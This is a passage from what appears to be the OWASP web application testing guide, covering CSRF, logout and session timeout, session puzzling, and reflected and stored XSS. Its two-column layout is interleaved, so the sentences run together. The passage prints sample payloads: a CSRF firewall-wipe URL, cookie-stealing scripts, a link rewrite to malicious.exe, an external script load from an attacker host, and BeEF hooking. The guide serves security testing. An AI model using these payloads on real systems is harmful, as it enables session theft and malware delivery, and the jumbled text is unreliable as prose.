• by the user, who follows a link (external to the application) defined right now, there is no way to prohibit this behavior unless
pointing to the URL. it is made impossible for the attacker to specify valid application
URLs. This means that valid URLs must contain information re-
These invocations are indistinguishable by the application. In lated to the user session, which is supposedly not known to the
particular, the third may be quite dangerous. There are a number attacker and therefore make the identification of such URLs im-
of techniques (and of vulnerabilities) which can disguise the real possible.
properties of a link. The link can be embedded in an email mes-
sage, or appear in a malicious web site where the user is lured, i.e., The problem might be even worse, since in integrated mail/
94
browser environments simply displaying an email message con- Therefore, if we enter the value ‘*’ and press the Delete button,
taining the image would result in the execution of the request to the following GET request is submitted.
the web application with the associated browser cookie.
https://www.company.example/fwmgt/delete?rule=*
Things may be obfuscated further, by referencing seemingly valid
image URLs such as
<img src=”https://[attacker]/picture.gif” width=”0” with the effect of deleting all firewall rules (and ending up in a pos-
height=”0”> sibly inconvenient situation).
http://[attacker]/picture.gif to http://[thirdparty]/action.
Cookies are not the only example involved in this kind of vulner-
ability. Web applications whose session information is entirely
supplied by the browser are vulnerable too. This includes applica- Now, this is not the only possible scenario. The user might have
tions relying on HTTP authentication mechanisms alone, since the accomplished the same results by manually submitting the URL
authentication information is known by the browser and is sent or by following a link pointing, directly or via a redirection, to the
automatically upon each request. This DOES NOT include form- above URL. Or, again, by accessing an HTML page with an embed-
based authentication, which occurs just once and generates some ded img tag pointing to the same URL.
form of session-related information (of course, in this case, such
information is expressed simply as a cookie and can we fall back
to one of the previous cases). https://[target]/fwmgt/delete?rule=*
Sample scenario
Let’s suppose that the victim is logged on to a firewall web man- In all of these cases, if the user is currently logged in the firewall
agement application. To log in, a user has to authenticate himself management application, the request will succeed and will mod-
and session information is stored in a cookie. ify the configuration of the firewall. One can imagine attacks tar-
geting sensitive applications and making automatic auction bids,
Let’s suppose the firewall web management application has a money transfers, orders, changing the configuration of critical
function that allows an authenticated user to delete a rule speci- software components, etc.
fied by its positional number, or all the rules of the configuration if
the user enters ‘*’ (quite a dangerous feature, but it will make the An interesting thing is that these vulnerabilities may be exercised
example more interesting). The delete page is shown next. Let’s behind a firewall; i.e., it is sufficient that the link being attacked
suppose that the form – for the sake of simplicity – issues a GET be reachable by the victim (not directly by the attacker). In par-
request, which will be of the form ticular, it can be any Intranet web server; for example, the fire-
wall management station mentioned before, which is unlikely to
https://[target]/fwmgt/delete?rule=1 be exposed to the Internet. Imagine a CSRF attack targeting an
application monitoring a nuclear power plant. Sounds far fetched?
Probably, but it is a possibility.
(to delete rule number one)
Self-vulnerable applications, i.e., applications that are used both
https://[target]/fwmgt/delete?rule=* as attack vector and target (such as web mail applications), make
things worse.
If such an application is vulnerable, the user is obviously logged
(to delete all rules). in when he reads a message containing a CSRF attack, that can
target the web mail application and have it perform actions such
The example is purposely quite naive, but shows in a simple way as deleting messages, sending messages appearing as sent by the
the dangers of CSRF. user, etc.
How to Test
Black Box Testing
For a black box test the tester must know URLs in the restrict-
ed (authenticated) area. If they possess valid credentials, they
can assume both roles – the attacker and the victim. In this case,
testers know the URLs to be tested just by browsing around the
application.
95
Resources accessible via HTTP GET requests are easily vulnerable, • Use POST instead of GET. While POST requests may be simulated
though POST requests can be automated via Javascript and are by means of JavaScript, they make it more complex to mount an
vulnerable as well; therefore, the use of POST alone is not enough attack.
to correct the occurrence of CSRF vulnerabilities. • The same is true with intermediate confirmation pages (such as:
“Are you sure you really want to do this?” type of pages).
Tools They can be bypassed by an attacker, although they will make
• WebScarab Spider http://www.owasp.org/index.php/ their work a bit more complex. Therefore, do not rely solely on
Category:OWASP_WebScarab_Project these measures to protect your application.
• CSRF Tester http://www.owasp.org/index.php/ • Automatic log out mechanisms somewhat mitigate the
Category:OWASP_CSRFTester_Project exposure to these vulnerabilities, though it ultimately depends
• Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_ on the context (a user who works all day long on a vulnerable
site_request_forgery.php (via img) web banking application is obviously more at risk than a user
• Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_ who uses the same application occasionally).
site_framing.php (via iframe)
• Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/ Related Security Activities
Description of CSRF Vulnerabilities
References See the OWASP article on CSRF Vulnerabilities.
Whitepapers
• Peter W: “Cross-Site Request Forgeries” - How to Avoid CSRF Vulnerabilities
http://www.tux.org/~peterw/csrf.txt See the OWASP Development Guide article on how to Avoid
• Thomas Schreiber: “Session Riding” - CSRF Vulnerabilities.
http://www.securenet.de/papers/Session_Riding.pdf
• Oldest known post - http://www.zope.org/Members/jim/ How to Review Code for CSRF Vulnerabilities
ZopeSecurity/ClientSideTrojan See the OWASP Code Review Guide article on how to Review
• Cross-site Request Forgery FAQ - Code for CSRF Vulnerabilities.
http://www.cgisecurity.com/articles/csrf-faq.shtml
• A Most-Neglected Fact About Cross Site Request Forgery How to Prevent CSRF Vulnerabilites
(CSRF) - http://yehg.net/lab/pr0js/view.php/A_Most- See the OWASP CSRF Prevention Cheat Sheet for prevention
Neglected_Fact_About_CSRF.pdf measures.
96
Testing for logout functionality (OTG-SESS-006) • After loading a page the log out button should be visible without
Summary scrolling.
Session termination is an important part of the session lifecycle. Re- • Ideally the log out button is placed in an area of the page that is
ducing to a minimum the lifetime of the session tokens decreases the fixed in the view port of the browser and not affected by scrolling of
likelihood of a successful session hijacking attack. This can be seen as the content.
a control against preventing other attacks like Cross Site Scripting and
Cross Site Request Forgery. Such attacks have been known to rely on Testing for server-side session termination:
a user having an authenticated session present. Not having a secure First, store the values of cookies that are used to identify a session. In-
session termination only increases the attack surface for any of these voke the log out function and observe the behavior of the application,
attacks. especially regarding session cookies. Try to navigate to a page that is
only visible in an authenticated session, e.g. by usage of the back but-
A secure session termination requires at least the following compo- ton of the browser. If a cached version of the page is displayed, use the
nents: reload button to refresh the page from the server. If the log out func-
tion causes session cookies to be set to a new value, restore the old
• Availability of user interface controls that allow the user to value of the session cookies and reload a page from the authenticated
manually log out. area of the application. If these test don’t show any vulnerabilities on a
• Session termination after a given amount of time without activity particular page, try at least some further pages of the application that
(session timeout). are considered as security-critical, to ensure that session termination
• Proper invalidation of server-side session state. is recognized properly by these areas of the application.
There are multiple issues which can prevent the effective termination Result Expected:
of a session. For the ideal secure web application, a user should be No data that should be visible only by authenticated users should be
able to terminate at any time through the user interface. Every page visible on the examined pages while performing the tests. Ideally the
should contain a log out button on a place where it is directly visible. application redirects to a public area or a log in form while accessing
Unclear or ambiguous log out functions could cause the user not authenticated areas after termination of the session. It should be not
trusting such functionality. necessary for the security of the application, but setting session cook-
ies to new values after log out is generally considered as good practice.
Another common mistake in session termination is that the client-side
session token is set to a new value while the server-side state remains Testing for session timeout:
active and can be reused by setting the session cookie back to the pre- Try to determine a session timeout by performing requests to a page
vious value. Sometimes only a confirmation message is shown to the in the authenticated area of the web application with increasing de-
user without performing any further action. This should be avoided. lays. If the log out behavior appears, the used delay matches approxi-
mately the session timeout value.
Users of web browsers often don’t mind that an application is still
open and just close the browser or a tab. A web application should be Result Expected:
aware of this behavior and terminate the session automatically on the The same results as for server-side session termination testing de-
server-side after a defined amount of time. scribed before are excepted by a log out caused by an inactivity tim-
eout.
The usage of a single sign-on (SSO) system instead of an applica-
tion-specific authentication scheme often causes the coexistence The proper value for the session timeout depends on the purpose of
of multiple sessions which have to be terminated separately. For in- the application and should be a balance of security and usability. In a
stance, the termination of the application-specific session does not banking applications it makes no sense to keep an inactive session
terminate the session in the SSO system. Navigating back to the SSO more than 15 minutes. On the other side a short timeout in a wiki or
portal offers the user the possibility to log back in to the application forum could annoy users which are typing lengthy articles with un-
where the log out was performed just before. On the other side a log necessary log in requests. There timeouts of an hour and more can
out function in a SSO system does not necessarily cause session ter- be acceptable.
mination in connected applications.
Testing for session termination in single sign-on environments (sin-
How to Test gle sign-off):
Testing for log out user interface: Perform a log out in the tested application. Verify if there is a central
Verify the appearance and visibility of the log out functionality in the portal or application directory which allows the user to log back in to
user interface. For this purpose, view each page from the perspective the application without authentication.
of a user who has the intention to log out from the web application. Test if the application requests the user to authenticate, if the URL of
an entry point to the application is requested. While logged in in the
Result Expected: tested application, perform a log out in the SSO system. Then try to
There are some properties which indicate a good log out user in- access an authenticated area of the tested application.
terface:
Result Expected:
• A log out button is present on all pages of the web application. It is expected that the invocation of a log out function in a web
• The log out button should be identified quickly by a user who application connected to a SSO system or in the SSO system itself
wants to log out from the web application. causes global termination of all sessions. An authentication of the
97
user should be required to gain access to the application after log stroyed or made unusable, and that proper controls are enforced
out in the SSO system and connected application. at the server side to prevent the reuse of session tokens. If such
actions are not properly carried out, an attacker could replay these
Tools session tokens in order to “resurrect” the session of a legitimate
• “Burp Suite - Repeater” - http://portswigger.net/burp/repeater.html user and impersonate him/her (this attack is usually known as
‘cookie replay’). Of course, a mitigating factor is that the attacker
References needs to be able to access those tokens (which are stored on the
Whitepapers victim’s PC), but, in a variety of cases, this may not be impossible
• “The FormsAuthentication.SignOut method does not prevent cookie or particularly difficult.
reply attacks in ASP.NET applications” -
http://support.microsoft.com/default.aspx?scid=kb;en-us;900111 The most common scenario for this kind of attack is a public com-
• “Cookie replay attacks in ASP.NET when using forms authentication” puter that is used to access some private information (e.g., web
- https://www.vanstechelman.eu/content/cookie-replay-attacks-in- mail, online bank account). If the user moves away from the com-
aspnet-when-using-forms-authentication puter without explicitly logging out and the session timeout is not
implemented on the application, then an attacker could access
Test Session Timeout (OTG-SESS-007) to the same account by simply pressing the “back” button of the
Summary browser.
In this phase testers check that the application automatically logs
out a user when that user has been idle for a certain amount of How to Test
time, ensuring that it is not possible to “reuse” the same session Black Box testing
and that no sensitive data remains stored in the browser cache. The same approach seen in the Testing for logout functionality
(OTG-SESS-006) section can be applied when measuring the tim-
All applications should implement an idle or inactivity timeout for eout log out.
sessions. This timeout defines the amount of time a session will The testing methodology is very similar. First, testers have to
remain active in case there is no activity by the user, closing and check whether a timeout exists, for instance, by logging in and
invalidating the session upon the defined idle period since the last waiting for the timeout log out to be triggered. As in the log out
HTTP request received by the web application for a given session function, after the timeout has passed, all session tokens should
ID. The most appropriate timeout should be a balance between be destroyed or be unusable.
security (shorter timeout) and usability (longer timeout) and heav-
ily depends on the sensitivity level of the data handled by the ap- Then, if the timeout is configured, testers need to understand
plication. For example, a 60 minute log out time for a public forum whether the timeout is enforced by the client or by the server (or
can be acceptable, but such a long time would be too much in a both). If the session cookie is non-persistent (or, more in general,
home banking application (where a maximum timeout of 15 min- the session cookie does not store any data about the time), tes-
utes is recommended). In any case, any application that does not ters can assume that the timeout is enforced by the server. If the
enforce a timeout-based log out should be considered not secure, session cookie contains some time related data (e.g., log in time,
unless such behavior is required by a specific functional require- or last access time, or expiration date for a persistent cookie), then
ment. it’s possible that the client is involved in the timeout enforcing. In
this case, testers could try to modify the cookie (if it’s not cryp-
The idle timeout limits the chances that an attacker has to guess tographically protected) and see what happens to the session. For
and use a valid session ID from another user, and under certain instance, testers can set the cookie expiration date far in the fu-
circumstances could protect public computers from session reuse. ture and see whether the session can be prolonged.
However, if the attacker is able to hijack a given session, the idle
timeout does not limit the attacker’s actions, as he can generate As a general rule, everything should be checked server-side and it
activity on the session periodically to keep the session active for should not be possible, by re-setting the session cookies to previ-
longer periods of time. ous values, to access the application again.
Session timeout management and expiration must be enforced Gray Box Testing
server-side. If some data under the control of the client is used The tester needs to check that:
to enforce the session timeout, for example using cookie values
or other client parameters to track time references (e.g. number • The log out function effectively destroys all session token, or at
of minutes since log in time), an attacker could manipulate these least renders them unusable,
to extend the session duration. So the application has to track the • The server performs proper checks on the session state,
inactivity time on the server side and, after the timeout is expired, disallowing an attacker to replay previously destroyed session
automatically invalidate the current user’s session and delete ev- identifiers
ery data stored on the client. • A timeout is enforced and it is properly enforced by the server.
If the server uses an expiration time that is read from a session
Both actions must be implemented carefully, in order to avoid in- token that is sent by the client (but this is not advisable), then
troducing weaknesses that could be exploited by an attacker to the token must be cryptographically protected from tampering.
gain unauthorized access if the user forgot to log out from the ap-
plication. More specifically, as for the log out function, it is import- Note that the most important thing is for the application to in-
ant to ensure that all session tokens (e.g. cookies) are properly de- validate the session on the server side. Generally this means that
98
the code must invoke the appropriate methods, e.g. HttpSession. that, in the entry point, could request the user to provide some
invalidate() in Java and Session.abandon() in .NET. identifying information such as the username or the e-mail ad-
Clearing the cookies from the browser is advisable, but is not dress. This page might then populate the session with these iden-
strictly necessary, since if the session is properly invalidated on tifying values, which are received directly from the client side, or
the server, having the cookie in the browser will not help an at- obtained from queries or calculations based on the received in-
tacker. put. At this point there may be some pages in the application that
show private data based on this session object. In this manner the
References attacker could bypass the authentication process.
OWASP Resources
• Session Management Cheat Sheet Gray Box testing
The most effective way to detect these vulnerabilities is via a
Testing for Session puzzling source code review.
(OTG-SESS-008)
Summary References
Session Variable Overloading (also known as Session Puzzling) is Whitepapers
an application level vulnerability which can enable an attacker to • Session Puzzles:
perform a variety of malicious actions, including by not limited to: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20
-%20Indirect%20Application%20Attack%20Vectors%20-%20
• Bypass efficient authentication enforcement mechanisms, and May%202011%20-%20Whitepaper.pdf
impersonate legitimate users. • Session Puzzling and Session Race Conditions:
• Elevate the privileges of a malicious user account, in an http://sectooladdict.blogspot.com/2011/09/session-puzzling-
environment that would otherwise be considered foolproof. and-session-race.html
• Skip over qualifying phases in multi-phase processes, even if
the process includes all the commonly recommended code level Remediation
restrictions. Session variables should only be used for a single consistent pur-
• Manipulate server-side values in indirect methods that cannot pose.
be predicted or detected.
• Execute traditional attacks in locations that were previously Input Validation Testing
unreachable, or even considered secure. The most common web application security weakness is the fail-
ure to properly validate input coming from the client or from the
This vulnerability occurs when an application uses the same ses- environment before using it. This weakness leads to almost all of
sion variable for more than one purpose. An attacker can poten- the major vulnerabilities in web applications, such as cross site
tially access pages in an order unanticipated by the developers so scripting, SQL injection, interpreter injection, locale/Unicode at-
that the session variable is set in one context and then used in tacks, file system attacks, and buffer overflows.
another.
Data from an external entity or client should never be trusted,
For example, an attacker could use session variable overloading to since it can be arbitrarily tampered with by an attacker. “All Input
bypass authentication enforcement mechanisms of applications is Evil”, says Michael Howard in his famous book “Writing Secure
that enforce authentication by validating the existence of session Code”. That is rule number one. Unfortunately, complex applica-
variables that contain identity–related values, which are usually tions often have a large number of entry points, which makes it
stored in the session after a successful authentication process. difficult for a developer to enforce this rule. This chapter describes
This means an attacker first accesses a location in the application Data Validation testing. This is the task of testing all the possible
that sets session context and then accesses privileged locations forms of input to understand if the application sufficiently vali-
that examine this context. dates input data before using it.
For example - an authentication bypass attack vector could be ex- Testing for Reflected Cross site scripting
ecuted by accessing a publicly accessible entry point (e.g. a pass- (OTG-INPVAL-001)
word recovery page) that populates the session with an identical Summary
session variable, based on fixed values or on user originating input. Reflected Cross-site Scripting (XSS) occur when an attacker in-
jects browser executable code within a single HTTP response.
How to Test The injected attack is not stored within the application itself; it is
Black Box Testing non-persistent and only impacts users who open a maliciously
This vulnerability can be detected and exploited by enumerating crafted link or third-party web page. The attack string is included
all of the session variables used by the application and in which as part of the crafted URI or HTTP parameters, improperly pro-
context they are valid. In particular this is possible by accessing a cessed by the application, and returned to the victim.
sequence of entry points and then examining exit points. In case
of black box testing this procedure is difficult and requires some Reflected XSS are the most frequent type of XSS attacks found in
luck since every different sequence could lead to a different result. the wild. Reflected XSS attacks are also known as non-persistent
XSS attacks and, since the attack payload is delivered and execut-
Examples ed via a single request and response, they are also referred to as
A very simple example could be the password reset functionality first-order or type 1 XSS.
99
When a web application is vulnerable to this type of attack, it will Ideally all HTML special characters will be replaced with HTML en-
pass unvalidated input sent through requests back to the client. tities. The key HTML entities to identify are:
The common modus operandi of the attack includes a design step,
in which the attacker creates and tests an offending URI, a social > (greater than)
engineering step, in which she convinces her victims to load this < (less than)
URI on their browsers, and the eventual execution of the offending & (ampersand)
code using the victim’s browser. ‘ (apostrophe or single quote)
“ (double quote)
Commonly the attacker’s code is written in the Javascript lan-
guage, but other scripting languages are also used, e.g., Action-
Script and VBScript. Attackers typically leverage these vulnerabil- However, a full list of entities is defined by the HTML and XML
ities to install key loggers, steal victim cookies, perform clipboard specifications. Wikipedia has a complete reference [1].
theft, and change the content of the page (e.g., download links).
Within the context of an HTML action or JavaScript code, a dif-
One of the primary difficulties in preventing XSS vulnerabili- ferent set of special characters will need to be escaped, encoded,
ties is proper character encoding. In some cases, the web server replaced, or filtered out. These characters include:
or the web application could not be filtering some encodings of
characters, so, for example, the web application might filter out
\n (new line)
“<script>”, but might not filter %3cscript%3e which simply includes
\r (carriage return)
another encoding of tags.
\’ (apostrophe or single quote)
\” (double quote)
How to Test
\\ (backslash)
Black Box testing
\uXXXX (unicode values)
A black-box test will include at least three phases:
[1] Detect input vectors. For each web page, the tester must de- For a more complete reference, see the Mozilla JavaScript guide.
termine all the web application’s user-defined variables and how [2]
to input them. This includes hidden or non-obvious inputs such
as HTTP parameters, POST data, hidden form field values, and Example 1
predefined radio or selection values. Typically in-browser HTML For example, consider a site that has a welcome notice “ Welcome
editors or web proxies are used to view these hidden variables. %username% “ and a download link.
See the example below.
Some example of such input data are the following: The tester must suspect that every data entry point can result in
an XSS attack. To analyze it, the tester will play with the user vari-
<script>alert(123)</script> able and try to trigger the vulnerability.
Let’s try to click on the following link and see what happens:
“><script>alert(document.cookie)</script> http://example.com/index.php?user=<script>alert(123)</
script>
For a comprehensive list of potential test strings, see the XSS Fil-
ter Evasion Cheat Sheet. If no sanitization is applied this will result in the following popup:
[3] For each test input attempted in the previous phase, the tester
will analyze the result and determine if it represents a vulnera-
bility that has a realistic impact on the web application’s security.
This requires examining the resulting web page HTML and search-
ing for the test input. Once found, the tester identifies any special
characters that were not properly encoded, replaced, or filtered
out. The set of vulnerable unfiltered special characters will depend
on the context of that section of HTML.
100
This indicates that there is an XSS vulnerability and it appears that even without the use of characters such as “ < > and / that are
the tester can execute code of his choice in anybody’s browser if commonly filtered.
he clicks on the tester’s link.
For example, the web application could use the user input value to
Example 2 fill an attribute, as shown in the following code:
Let’s try other piece of code (link):
<input type=”text” name=”state” value=”INPUT_FROM_
http://example.com/index.php?user=<script>window. USER”>
onload = function() {var AllLinks=document.
getElementsByTagName(“a”);
Then an attacker could submit the following code:
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</
script>
“ onfocus=”alert(document.cookie)
This produces the following behavior:
Example 4: Different syntax or encoding
In some cases it is possible that signature-based filters can be
simply defeated by obfuscating the attack. Typically you can do
this through the insertion of unexpected variations in the syntax
or in the enconding. These variations are tolerated by browsers as
valid HTML when the code is returned, and yet they could also be
accepted by the filter.
This will cause the user, clicking on the link supplied by the tester, “><script >alert(document.cookie)</script >
to download the file malicious.exe from a site he controls.
Thus, the majority of XSS prevention must depend on the web Example 6: Including external script
application’s sanitization of untrusted user input. There are sev- Now suppose that developers of the target site implemented the
eral mechanisms available to developers for sanitization, such as following code to protect the input from the inclusion of external
returning an error, removing, encoding, or replacing invalid input. script:
The means by which the application detects and corrects invalid
input is another primary weakness in preventing XSS. A blacklist <?
may not include all possible attack strings, a whitelist may be $re = “/<script[^>]+src/i”;
overly permissive, the sanitization could fail, or a type of input may
be incorrectly trusted and remain unsanitized. All of these allow if (preg_match($re, $_GET[‘var’]))
attackers to circumvent XSS filters. {
echo “Filtered”;
The XSS Filter Evasion Cheat Sheet documents common filter return;
evasion tests. }
echo “Welcome “.$_GET[‘var’].” !”;
Example 3: Tag Attribute Value ?>
Since these filters are based on a blacklist, they could not block
every type of expressions. In fact, there are cases in which an XSS
exploit can be carried out without the use of <script> tags and In this scenario there is a regular expression checking if <script
101
[anything but the character: ‘>’ ] src is inserted. This is useful for Tools
filtering expressions like • OWASP CAL9000
CAL9000 is a collection of web application security testing tools
<script src=”http://attacker/xss.js”></script> that complement the feature set of current web proxies and auto-
mated scanners. It’s hosted as a reference at http://yehg.net/lab/
pr0js/pentest/CAL9000/ .
which is a common attack. But, in this case, it is possible to bypass
the sanitization by using the “>” character in an attribute between • PHP Charset Encoder(PCE) -
script and src, like this: http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http:// of charsets. Also some encoding functions featured by JavaScript
attacker/xss.js”></SCRIPT> are provided.
• HackVertor -
This will exploit the reflected cross site scripting vulnerability http://www.businessinfo.co.uk/labs/hackvertor/
shown before, executing the javascript code stored on the attack- hackvertor.php
er’s web server as if it was originating from the victim web site, It provides multiple dozens of flexible encoding for advanced
http://example/. string manipulation attacks.
Example 7: HTTP Parameter Pollution (HPP) • WebScarab - WebScarab is a framework for analysing
Another method to bypass filters is the HTTP Parameter Pollu- applications that communicate using the HTTP and HTTPS
tion, this technique was first presented by Stefano di Paola and protocols.
Luca Carettoni in 2009 at the OWASP Poland conference. See the
Testing for HTTP Parameter pollution for more information. This • XSS-Proxy - http://xss-proxy.sourceforge.net/
evasion technique consists of splitting an attack vector between XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
multiple parameters that have the same name. The manipula-
tion of the value of each parameter depends on how each web • ratproxy - http://code.google.com/p/ratproxy/
technology is parsing these parameters, so this type of evasion is A semi-automated, largely passive web application security
not always possible. If the tested environment concatenates the audit tool, optimized for an accurate and sensitive detection,
values of all parameters with the same name, then an attacker and automatic annotation, of potential problems and security-
could use this technique in order to bypass pattern- based secu- relevant design patterns based on the observation of existing,
rity mechanisms. user-initiated traffic in complex web 2.0 environments.
Regular attack:
• Burp Proxy - http://portswigger.net/proxy/
http://example/page.php?param=<script>[...]</script> Burp Proxy is an interactive HTTP/S proxy server for attacking
and testing web applications.
The HTML code of index2.php where the email value is located: A typical BeEF exploitation scenario involves:
<input class=”inputbox” type=”text” name=”email” size=”40” • Injecting a JavaScript hook which communicates to the attacker’s
value=”[email protected]” /> browser exploitation framework (BeEF)
• Waiting for the application user to view the vulnerable page
where the stored input is displayed
In this case, the tester needs to find a way to inject code outside the • Control the application user’s browser via the BeEF console
<input> tag as below:
The JavaScript hook can be injected by exploiting the XSS vulnerability
in the web application.
<input class=”inputbox” type=”text” name=”email” size=”40”
value=”[email protected]”> MALICIOUS CODE <!-- />
Example: BeEF Injection in index2.php:
[email protected]”><script>alert(document.cookie)</script> When the user loads the page index2.php, the script hook.js is execut-
ed by the browser. It is then possible to access cookies, user screen-
shot, user clipboard, and launch complex XSS attacks.
[email protected]%22%3E%3Cscript%3Ealert(document.
Result Expected
cookie)%3C%2Fscript%3E
Result Expected:
The HTML code following the injection: This attack is particularly effective in vulnerable pages that are viewed
by many users with different privileges.
<input class=”inputbox” type=”text” name=”email” size=”40”
File Upload
value=”[email protected]”><script>alert(document.cookie)</
If the web application allows file upload, it is important to check if it is
script>
possible to upload HTML content. For instance, if HTML or TXT files are
allowed, XSS payload can be injected in the file uploaded. The pen-tes-
The input is stored and the XSS payload is executed by the browser ter should also verify if the file upload allows setting arbitrary MIME
when reloading the page. If the input is escaped by the application, types.
testers should test the application for XSS filters. For instance, if the
string “SCRIPT” is replaced by a space or by a NULL character then this Consider the following HTTP POST request for file upload:
could be a potential sign of XSS filtering in action. Many techniques ex-
ist in order to evade input filters (see testing for reflected XSS chapter). POST /fileupload.aspx HTTP/1.1
It is strongly recommended that testers refer to XSS Filter Evasion , […]
RSnake and Mario XSS Cheat pages, which provide an extensive list of
XSS attacks and filtering bypasses. Refer to the whitepapers and tools Content-Disposition: form-data; name=”uploadfile1”;
section for more detailed information. filename=”C:\Documents and Settings\test\Desktop\test.txt”
Content-Type: text/plain
Leverage Stored XSS with BeEF
Stored XSS can be exploited by advanced JavaScript exploitation test
frameworks such as BeEF, XSS Proxy and Backframe.
104
This design flaw can be exploited in browser MIME mishandling Note: The table above is only a summary of the most important
attacks. For instance, innocuous-looking files like JPG and GIF can parameters but, all user input parameters should be investigated.
contain an XSS payload that is executed when they are loaded by
the browser. This is possible when the MIME type for an image Tools
such as image/gif can instead be set to text/html. In this case the • OWASP CAL9000
file will be treated by the client browser as HTML. CAL9000 includes a sortable implementation of RSnake’s XSS At-
tacks, Character Encoder/Decoder, HTTP Request Generator and
HTTP POST Request forged: Response Evaluator, Testing Checklist, Automated Attack Editor
and much more.
Content-Disposition: form-data; name=”uploadfile1”;
filename=”C:\Documents and Settings\test\Desktop\test.gif” • PHP Charset Encoder(PCE) - http://h4k.in/encoding
Content-Type: text/html PCE helps you encode arbitrary texts to and from 65 kinds of char-
acter sets that you can use in your customized payloads.
<script>alert(document.cookie)</script>
• Hackvertor - http://www.businessinfo.co.uk/labs/hackvertor/
hackvertor.php
Also consider that Internet Explorer does not handle MIME types Hackvertor is an online tool which allows many types of encoding
in the same way as Mozilla Firefox or other browsers do. For in- and obfuscation of JavaScript (or any string input).
stance, Internet Explorer handles TXT files with HTML content as
HTML content. For further information about MIME handling, re- • BeEF - http://www.beefproject.com
fer to the whitepapers section at the bottom of this chapter. BeEF is the browser exploitation framework. A professional tool to
demonstrate the real-time impact of browser vulnerabilities.
Gray Box testing
Gray Box testing is similar to Black box testing. In gray box test- • XSS-Proxy - http://xss-proxy.sourceforge.net/
ing, the pen-tester has partial knowledge of the application. In this XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
case, information regarding user input, input validation controls,
and data storage might be known by the pen-tester. • Backframe - http://www.gnucitizen.org/projects/backframe/
Backframe is a full-featured attack console for exploiting WEB
Depending on the information available, it is normally recom- browsers, WEB users, and WEB applications.
mended that testers check how user input is processed by the ap-
plication and then stored into the back-end system. The following • WebScarab
steps are recommended: WebScarab is a framework for analyzing applications that com-
municate using the HTTP and HTTPS protocols.
• Use front-end application and enter input with special/invalid
characters • Burp - http://portswigger.net/burp/
• Analyze application response(s) Burp Proxy is an interactive HTTP/S proxy server for attacking and
• Identify presence of input validation controls testing web applications.
• Access back-end system and check if input is stored and how it
is stored • XSS Assistant - http://www.greasespot.net/
• Analyze source code and understand how stored input is Greasemonkey script that allow users to easily test any web appli-
rendered by the application cation for cross-site-scripting flaws.
If source code is available (White Box), all variables used in input • OWASP Zed Attack Proxy (ZAP) - OWASP_Zed_Attack_Proxy_
forms should be analyzed. In particular, programming languages Project
such as PHP, ASP, and JSP make use of predefined variables/func- ZAP is an easy to use integrated penetration testing tool for find-
tions to store input from HTTP GET and POST requests. ing vulnerabilities in web applications. It is designed to be used
by people with a wide range of security experience and as such is
The following table summarizes some special variables and func- ideal for developers and functional testers who are new to pen-
tions to look at when analyzing source code: etration testing. ZAP provides automated scanners as well as a
set of tools that allow you to find security vulnerabilities manually.
ISBN 978-0-470-17077-9 style links trigger a GET request; form data submitted via <form
• Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. method=’POST’></form> trigger POST requests. Forms defined
Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: without a method also send data via GET by default.
XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-
154-3 Oddly, the other valid HTTP methods are not supported by the
HTML standard [4]. Any HTTP method other than GET or POST
Whitepapers needs to be called outside the HTML document. However, JavaS-
• RSnake: “XSS (Cross Site Scripting) Cheat Sheet” - cript and AJAX calls may send methods other than GET and POST.
http://ha.ckers.org/xss.html
• CERT: “CERT Advisory CA-2000-02 Malicious HTML Tags As long as the web application being tested does not specifically
Embedded in Client Web Requests” - call for any non-standard HTTP methods, testing for HTTP verb
http://www.cert.org/advisories/CA-2000-02.html tampering is quite simple. If the server accepts a request other
• Amit Klein: “Cross-site Scripting Explained” -´\ than GET or POST, the test fails. The solutions is to disable all non
http://courses.csail.mit.edu/6.857/2009/handouts/css- GET or POST functionality within the web application server, or in
explained.pdf a web application firewall.
• Gunter Ollmann: “HTML Code Injection and Cross-site
Scripting” - http://www.technicalinfo.net/papers/CSS.html If methods such as HEAD or OPTIONS are required for your appli-
• CGISecurity.com: “The Cross Site Scripting FAQ” - cation, this increases the burden of testing substantially. Each ac-
http://www.cgisecurity.com/xss-faq.html tion within the system will need to be verified that these alternate
• Blake Frantz: “Flirting with MIME Types: A Browser’s methods do not trigger actions without proper authentication or
Perspective” - http://www.leviathansecurity.com/pdf/ reveal information about the contents or workings web applica-
Flirting%20with%20MIME%20Types.pdf tion. If possible, limit alternate HTTP method usage to a single
page that contains no user actions, such the default landing page
Testing for HTTP Verb Tampering (example: index.html).
(OTG-INPVAL-003)
Summary How to Test
The HTTP specification includes request methods other than the As the HTML standard does not support request methods other
standard GET and POST requests. A standards compliant web than GET or POST, we will need to craft custom HTTP requests to
server may respond to these alternative methods in ways not test the other methods.
